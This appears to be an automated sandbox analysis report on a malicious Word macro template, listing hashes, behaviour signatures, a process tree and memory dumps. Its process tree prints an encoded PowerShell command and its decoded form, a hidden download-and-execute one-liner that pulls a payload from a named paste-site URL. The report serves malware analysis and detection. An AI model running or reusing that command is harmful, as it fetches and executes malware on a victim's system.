Analysis
- max time kernel
101s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20231215-en - resource tags
- submitted
10/04/2024, 14:21
General
- Target d5b5d4707a795a439e8b93e6918fc65909f42be7acb870ca10118f2c053bb50b.dotm
- Size 23KB
- Sample240410-rpgrcaea5v
- SHA256 d5b5d4707a795a439e8b93e6918fc65909f42be7acb870ca10118f2c053bb50b
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://paste.c-net.org/OrientalAntonio
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\d5b5d4707a795a439e8b93e6918fc65909f42be7acb870ca10118f2c053bb50b.dotm" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enc cABvAHcAZQByAHMAaABlAGwAbAAgAC0AdwBpAG4AIABoAGkAZABkAGUAbgAgAC0AYwBvAG0AbQBhAG4AZAAgACIAaQBlAHgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAHAAYQBzAHQAZQAuAGMALQBuAGUAdAAuAG8AcgBnAC8ATwByAGkAZQBuAHQAYQBsAEEAbgB0AG8AbgBpAG8AJwApACIA2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -win hidden -command "iex(new-object net.webclient).downloadString('http://paste.c-net.org/OrientalAntonio')"3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_wr32nbvi.zgt.ps1
memory/2424-37-0x000001F0FA1D0000-0x000001F0FA1F2000-memory.dmp
memory/2424-73-0x00007FFC9FAC0000-0x00007FFCA0581000-memory.dmp
memory/2424-51-0x000001F0F9FD0000-0x000001F0F9FE0000-memory.dmp
memory/2424-52-0x000001F0F9FD0000-0x000001F0F9FE0000-memory.dmp
memory/2424-47-0x00007FFC9FAC0000-0x00007FFCA0581000-memory.dmp
memory/3736-10-0x00007FFCCE130000-0x00007FFCCE325000-memory.dmp
memory/3736-2-0x00007FFCCE130000-0x00007FFCCE325000-memory.dmp
memory/3736-0-0x00007FFC8E1B0000-0x00007FFC8E1C0000-memory.dmp
memory/3736-11-0x00007FFCCE130000-0x00007FFCCE325000-memory.dmp
memory/3736-12-0x00007FFCCE130000-0x00007FFCCE325000-memory.dmp
memory/3736-14-0x00007FFC8B8B0000-0x00007FFC8B8C0000-memory.dmp
memory/3736-13-0x00007FFCCE130000-0x00007FFCCE325000-memory.dmp
memory/3736-15-0x00007FFCCE130000-0x00007FFCCE325000-memory.dmp
memory/3736-16-0x00007FFC8B8B0000-0x00007FFC8B8C0000-memory.dmp
memory/3736-27-0x00000224A5500000-0x00000224A64D0000-memory.dmp
memory/3736-31-0x00000224A5500000-0x00000224A64D0000-memory.dmp
memory/3736-32-0x00000224A5500000-0x00000224A64D0000-memory.dmp
memory/3736-8-0x00007FFC8E1B0000-0x00007FFC8E1C0000-memory.dmp
memory/3736-7-0x00007FFCCE130000-0x00007FFCCE325000-memory.dmp
memory/3736-3-0x00007FFCCE130000-0x00007FFCCE325000-memory.dmp
memory/3736-6-0x00007FFC8E1B0000-0x00007FFC8E1C0000-memory.dmp
memory/3736-5-0x00007FFCCE130000-0x00007FFCCE325000-memory.dmp
memory/3736-108-0x00007FFCCE130000-0x00007FFCCE325000-memory.dmp
memory/3736-107-0x00007FFC8E1B0000-0x00007FFC8E1C0000-memory.dmp
memory/3736-106-0x00007FFC8E1B0000-0x00007FFC8E1C0000-memory.dmp
memory/3736-105-0x00007FFC8E1B0000-0x00007FFC8E1C0000-memory.dmp
memory/3736-66-0x00007FFCCE130000-0x00007FFCCE325000-memory.dmp
memory/3736-104-0x00007FFC8E1B0000-0x00007FFC8E1C0000-memory.dmp
memory/3736-4-0x00007FFC8E1B0000-0x00007FFC8E1C0000-memory.dmp
memory/3736-1-0x00007FFC8E1B0000-0x00007FFC8E1C0000-memory.dmp
memory/3736-9-0x00007FFCCE130000-0x00007FFCCE325000-memory.dmp
memory/3736-75-0x00007FFCCE130000-0x00007FFCCE325000-memory.dmp
memory/3736-81-0x00000224A5500000-0x00000224A64D0000-memory.dmp
memory/3736-82-0x00000224A5500000-0x00000224A64D0000-memory.dmp
memory/3736-83-0x00000224A5500000-0x00000224A64D0000-memory.dmp
memory/3900-69-0x00007FFC9FAC0000-0x00007FFCA0581000-memory.dmp
memory/3900-65-0x0000022579880000-0x0000022579890000-memory.dmp
memory/3900-64-0x0000022579880000-0x0000022579890000-memory.dmp
memory/3900-63-0x0000022579880000-0x0000022579890000-memory.dmp
memory/3900-62-0x00007FFC9FAC0000-0x00007FFCA0581000-memory.dmp